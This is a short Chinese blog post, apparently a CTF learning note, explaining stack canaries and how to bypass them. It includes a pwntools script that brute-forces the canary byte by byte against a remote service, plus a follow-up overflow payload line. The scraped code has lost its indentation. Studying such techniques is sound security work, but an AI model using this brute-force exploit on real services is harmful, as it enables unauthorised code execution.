栈溢出的Canary保护

栈溢出的Canary保护

四月 02, 2017

最近学习了一下pwn的东西,很好奇也有些难度。在某次比赛中学到了关于Canary的保护机制,可以记录下来留给以后脑残时候的自己。

Canary

0x01 关于Canary

Canary是放置栈溢出的一种保护机制,从FS块内存的某个区域获取一个值存到栈中,类似于Cookie。当程序执行返回的时候,会对这个值进行校验,如果该值正确。程序正常执行返回,否则程序被判定为发生栈溢出,直接退出。

为了防止发生信息泄露以及其他漏洞的利用,Canary使用\x00对值进行截断,所以Canary的最低byte位为\x00

0x02 绕过Canary

先来大致模拟一下有Canary保护的程序的栈结构:

1
2
3
4
5
6
7
8
9
10
|                                      |
| padding |
| |
|______________________|
| canary |
|______________________|
| ebp |
|______________________|
| ret |
|______________________|

我们可以把padding部分全部覆盖掉,然后按byte覆盖Canary的值。如果程序正常运行,则该byte的Canary值正确;若程序退出,则继续爆破该位Canary的值。

爆破Canary的通用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#! /usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

canary = "\x00"
padding = "a"*Num

for x in xrange(7):
for y in xrange(256):
p = remote("127.0.0.1", 0000)
p.send(padding+canary+chr(y))
try:
info = p.recv()
print info
except:
p.close()
continue
p.close()
break
canary += chr(y)

print "Get The Canary!"
print canary.encode('hex')

当我们得到了Canary的值,便可以对Canary进行绕过:

1
p.send(padding + Canary + "a"*8 + payload)

后记

生命不息,咸鱼不止。